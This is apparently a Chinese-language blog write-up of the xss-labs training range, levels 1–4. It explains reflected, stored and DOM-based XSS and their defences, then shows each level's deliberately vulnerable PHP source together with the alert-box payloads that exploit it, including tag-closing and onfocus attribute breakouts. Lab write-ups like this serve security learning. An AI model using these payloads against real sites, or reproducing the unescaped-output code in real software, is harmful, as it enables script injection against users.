一、XSS-labs
1.什么是XSS
XSS 是“Cross-Site Scripting”(跨站脚本攻击)的缩写,为了与层叠样式表(CSS)区分开来,故简称为 XSS 。它是一种常见的 web 安全漏洞,攻击者利用该漏洞在目标网站上注入恶意脚本,当用户访问该网站时,这些恶意脚本就会在用户的浏览器中执行,从而达到窃取用户信息、控制用户会话等目的。根据攻击的原理和方式,XSS 通常分为以下三类:
1. **反射型 XSS**:这是最常见的一种 XSS 攻击类型。攻击者将恶意脚本作为参数嵌入到 URL 中,当用户点击这个带有恶意脚本的链接时,服务器接收请求后,未经充分验证和过滤就将恶意脚本反射回给用户的浏览器,浏览器执行该脚本,从而导致攻击发生。例如,在一个搜索功能中,攻击者构造一个类似`http://example.com/search.php?q=<script>alert('XSS')</script>`的 URL ,当用户点击这个链接,服务器返回的搜索结果页面中就会包含恶意脚本,浏览器执行后就会弹出警告框。这种攻击方式具有一次性特点,不存入服务器端,通常通过钓鱼等手段诱使用户点击特定链接来触发。
2. **存储型 XSS**:这种攻击更为严重,恶意脚本会被存储在服务器的数据库、文件系统等地方。比如在一个论坛系统中,攻击者在发布帖子时,将恶意脚本编写在帖子内容中,当其他用户浏览该帖子时,浏览器会从服务器获取包含恶意脚本的帖子内容并执行脚本。由于恶意脚本被存储在服务器端,只要有用户访问相关页面,就可能触发攻击,影响范围较大。
3. **DOM 型 XSS**:基于文档对象模型(DOM)的 XSS 攻击。它不依赖于服务器端的数据返回,而是通过修改页面的 DOM 结构来注入恶意脚本。例如,页面中存在一个`<input id="name" value="">`的输入框,当用户在输入框中输入数据时,JavaScript 代码会获取输入的值并将其显示在页面的其他地方。如果代码没有对输入进行过滤,攻击者可以通过修改 URL 或者其他方式,将恶意脚本作为输入值,当页面的 JavaScript 代码处理该输入时,就会在 DOM 中执行恶意脚本。
为了防范 XSS 攻击,网站开发者需要对用户输入进行严格的验证和过滤,避免恶意脚本的注入;对输出到页面的数据进行转义处理,将特殊字符转换为 HTML 实体,防止被浏览器解析为脚本;使用安全的 HTTP 头部,如设置`Content-Security-Policy` (内容安全策略)来限制页面可以加载的资源来源,减少恶意脚本执行的可能性。
2.1 xss-labs-Level1
先看靶场的源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
主要看<script>标签和php部分代码
在script中,调用alert函数,执行function函数代码,function执行就会弹出警示框,然后跳转到level2去,说明,要想成功注入就必须执行alert函数
在php中,有一个·get传参,这里就会想到,get传参后的值跑去哪里了,这时候我们就需要观察网页源代码
发现get传参后的值,在html网页中显示出来了,所以就可以通过get传参,传入一段js代码,使其运行“恶意链接”
本题payload:
get传参:
<script>alert(1)</script>
2.2 xss-labs-Level2
先看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析代码,发现get传参的值嵌套在value中,被双引号包裹,很显然要是用第一关的注入方式就不能执行“恶意代码”
这里我们看一下网页源代码
发现,传参的值被嵌套在value里面中,所以我们这里需要提前闭合input标签来让其执行js代码
本题payload:
get传参:前面的">就是用来闭合input标签的
"><script>alert(1)</script>
2.3 xss-labs-Level3
先看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析源码,可以看到和第二关相同的地方是,test部分被转义了,但是第三关多出来get传的value值也被html转义了,这下就不能使用闭合input标签来执行js代码了,因为">符号会被转义,就无法正常解析去执行,但是我们还可以利用onfocus事件绕过
onfocus事件
onfocus事件调用时,当输入框被点击时,就会触发onfocus事件的值(也就是执行自定义的某个函数)
本题payload:
get传参:输入文本框后,点搜索,再点一下文本框
这里的value值被单引号包裹,所以get传参的值,也需要被单引号包裹
' onfocus=javascript:alert(1) '
2.4 xss-labs-Level4
先看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
分析代码,我们发现本关的get传参的value值没有被html转义,只是被双引号包裹,那是不是就可以用第二关">来闭合input就行了?很显然我是不行的,原因如下
这里就会把<>过滤掉,所以就不能用">来闭合
那么我们就可以想到onfocus 来构造一个事件
本题payload:
get传参:输入文本框后,点搜索,再点一下文本框,value被双引号包裹
" onfocus=javascript:alert(1) "
标签:脚本,XSS,get,恶意,一点点,进步,网安,alert,传参 From: https://blog.csdn.net/longnice666/article/details/145270257